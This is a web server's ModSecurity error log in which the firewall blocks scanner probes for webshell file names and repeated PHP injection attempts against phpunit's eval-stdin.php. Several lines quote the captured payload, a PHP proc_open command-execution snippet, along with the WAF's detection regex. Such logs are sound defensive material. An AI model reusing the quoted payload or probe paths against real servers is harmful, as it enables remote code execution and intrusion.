[Thu Apr 23 23:44:26.539776 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:9345] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeo-Wr6vRb9j6psK2Zbo5gAAAhE"]
[Thu Apr 23 23:44:27.044416 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:3857] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeo-W4V5EysYcTLjmwjFggAAAdM"]
[Thu Apr 23 23:44:27.590408 2026] [:error] [pid 42973:tid 43045] [client 74.234.74.247:3896] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeo-W26I0QqmmmLTHE1HEAAAAII"]
[Thu Apr 23 23:44:28.147157 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:3863] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeo-XIV5EysYcTLjmwjFlQAAAco"]
[Thu Apr 23 23:44:28.673173 2026] [:error] [pid 42973:tid 43049] [client 74.234.74.247:4019] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeo-XG6I0QqmmmLTHE1HFAAAAIY"]
[Thu Apr 23 23:44:29.217297 2026] [:error] [pid 42971:tid 42989] [client 74.234.74.247:3847] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeo-XTEP2_5RswrH8bE7iAAAAAM"]
[Thu Apr 23 23:44:29.745800 2026] [:error] [pid 42973:tid 43057] [client 74.234.74.247:3888] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeo-XW6I0QqmmmLTHE1HGQAAAI4"]
[Thu Apr 23 23:44:30.255675 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:3905] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeo-XsOAb-3sOknsk4d0IAAAAEk"]
[Thu Apr 23 23:44:30.808636 2026] [:error] [pid 42972:tid 43022] [client 74.234.74.247:9374] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeo-XsOAb-3sOknsk4d0JwAAAEY"]
[Thu Apr 23 23:44:31.375298 2026] [:error] [pid 65000:tid 65029] [client 74.234.74.247:3784] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeo-X76vRb9j6psK2ZbpJQAAAgA"]
[Thu Apr 23 23:44:34.944921 2026] [:error] [pid 64998:tid 65015] [client 74.234.74.247:3963] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeo-YoV5EysYcTLjmwjGAgAAAc0"]
[Thu Apr 23 23:44:35.505825 2026] [:error] [pid 59700:tid 59703] [client 74.234.74.247:3844] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeo-Y5XyGZJFeAIDWtlIWwAAAUE"]
[Thu Apr 23 23:44:36.042698 2026] [:error] [pid 46953:tid 46965] [client 74.234.74.247:3821] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeo-ZEnlpdHh-P6wKbpUFwAAAkk"]
[Thu Apr 23 23:44:36.601843 2026] [:error] [pid 42973:tid 43059] [client 74.234.74.247:3898] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeo-ZG6I0QqmmmLTHE1HQgAAAJA"]
[Thu Apr 23 23:44:37.207793 2026] [:error] [pid 42973:tid 43057] [client 74.234.74.247:3838] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo-ZW6I0QqmmmLTHE1HRQAAAI4"]
[Thu Apr 23 23:44:37.777784 2026] [:error] [pid 42972:tid 43031] [client 74.234.74.247:3937] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo-ZcOAb-3sOknsk4d0XwAAAE8"]
[Thu Apr 23 23:44:38.336665 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:9348] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo-Zr6vRb9j6psK2ZbpfgAAAgw"]
[Thu Apr 23 23:44:38.932446 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:9413] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo-Zr6vRb9j6psK2ZbpiAAAAhE"]
[Thu Apr 23 23:44:39.460808 2026] [:error] [pid 64998:tid 65010] [client 74.234.74.247:3807] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeo-Z4V5EysYcTLjmwjGQgAAAcg"]
[Thu Apr 23 23:44:40.714508 2026] [:error] [pid 64998:tid 65009] [client 74.234.74.247:3962] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeo-aIV5EysYcTLjmwjGRwAAAcc"]
[Thu Apr 23 23:44:41.269864 2026] [:error] [pid 64998:tid 65011] [client 74.234.74.247:3787] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeo-aYV5EysYcTLjmwjGTgAAAck"]
[Thu Apr 23 23:44:41.776553 2026] [:error] [pid 64998:tid 65016] [client 74.234.74.247:3720] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeo-aYV5EysYcTLjmwjGUwAAAc4"]
[Thu Apr 23 23:44:42.429021 2026] [:error] [pid 59700:tid 59722] [client 74.234.74.247:3954] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-apXyGZJFeAIDWtlIZAAAAVQ"]
[Thu Apr 23 23:44:42.998526 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:9360] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-ar6vRb9j6psK2ZbpzAAAAg0"]
[Thu Apr 23 23:44:43.509850 2026] [:error] [pid 65000:tid 65039] [client 74.234.74.247:3855] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-a76vRb9j6psK2Zbp2AAAAgY"]
[Thu Apr 23 23:44:44.036594 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:3799] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-bL6vRb9j6psK2Zbp5QAAAhg"]
[Thu Apr 23 23:44:44.580580 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:3789] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeo-bIV5EysYcTLjmwjGcgAAAdM"]
[Thu Apr 23 23:44:47.233292 2026] [:error] [pid 64998:tid 65011] [client 74.234.74.247:9437] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeo-b4V5EysYcTLjmwjGlAAAAck"]
[Thu Apr 23 23:44:47.783541 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:3834] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeo-b76vRb9j6psK2ZbqMAAAAhU"]
[Thu Apr 23 23:44:48.330398 2026] [:error] [pid 42972:tid 43039] [client 74.234.74.247:3786] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeo-cMOAb-3sOknsk4d0eQAAAFc"]
[Thu Apr 23 23:44:48.867894 2026] [:error] [pid 64998:tid 65025] [client 74.234.74.247:9424] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aeo-cIV5EysYcTLjmwjGqAAAAdc"]
[Thu Apr 23 23:49:52.502518 2026] [:error] [pid 64998:tid 65026] [client 165.245.188.147:52507] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeo_oIV5EysYcTLjmwjSvAAAAdg"]
[Thu Apr 23 23:49:52.689687 2026] [:error] [pid 64998:tid 65015] [client 165.245.188.147:52510] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeo_oIV5EysYcTLjmwjSxAAAAc0"]
[Thu Apr 23 23:49:52.872888 2026] [:error] [pid 46953:tid 46966] [client 165.245.188.147:52515] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeo_oEnlpdHh-P6wKbpW5AAAAko"]
[Thu Apr 23 23:49:53.262943 2026] [:error] [pid 64998:tid 65015] [client 165.245.188.147:52518] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeo_oYV5EysYcTLjmwjS2gAAAc0"]
[Thu Apr 23 23:49:53.650478 2026] [:error] [pid 59700:tid 59710] [client 165.245.188.147:52533] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeo_oZXyGZJFeAIDWtlOTgAAAUg"]
[Thu Apr 23 23:49:54.051202 2026] [:error] [pid 42973:tid 43063] [client 165.245.188.147:52543] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeo_om6I0QqmmmLTHE1OLgAAAJQ"]
[Thu Apr 23 23:57:14.032902 2026] [:error] [pid 65000:tid 65055] [client 4.212.93.21:58400] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aepBWr6vRb9j6psK2ZYGLgAAAhY"]
[Thu Apr 23 23:57:14.754077 2026] [:error] [pid 25635:tid 25646] [client 4.212.93.21:40976] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aepBWsRxv6UsgRGKB3JB8AAAAQc"]
[Thu Apr 23 23:57:15.769054 2026] [:error] [pid 65000:tid 65030] [client 4.212.93.21:37218] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aepBW76vRb9j6psK2ZYGNQAAAgE"]
[Thu Apr 23 23:57:16.904046 2026] [:error] [pid 59700:tid 59721] [client 4.212.93.21:37230] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aepBXJXyGZJFeAIDWtlUaQAAAVM"]
[Thu Apr 23 23:57:18.740585 2026] [:error] [pid 64998:tid 65007] [client 4.212.93.21:5203] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aepBXoV5EysYcTLjmwjgngAAAcU"]
[Thu Apr 23 23:57:19.690339 2026] [:error] [pid 64998:tid 65022] [client 4.212.93.21:5593] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aepBX4V5EysYcTLjmwjgqQAAAdQ"]
[Thu Apr 23 23:57:22.077210 2026] [:error] [pid 64998:tid 65002] [client 4.212.93.21:34697] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aepBYoV5EysYcTLjmwjgtwAAAcA"]
[Thu Apr 23 23:57:24.897054 2026] [:error] [pid 42973:tid 43063] [client 4.212.93.21:43338] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aepBZG6I0QqmmmLTHE1WFgAAAJQ"]
[Thu Apr 23 23:57:28.715190 2026] [:error] [pid 59700:tid 59719] [client 4.212.93.21:5244] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aepBaJXyGZJFeAIDWtlUfAAAAVE"]
[Thu Apr 23 23:57:33.705531 2026] [:error] [pid 46953:tid 46981] [client 4.212.93.21:65510] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aepBbUnlpdHh-P6wKbpccgAAAlg"]
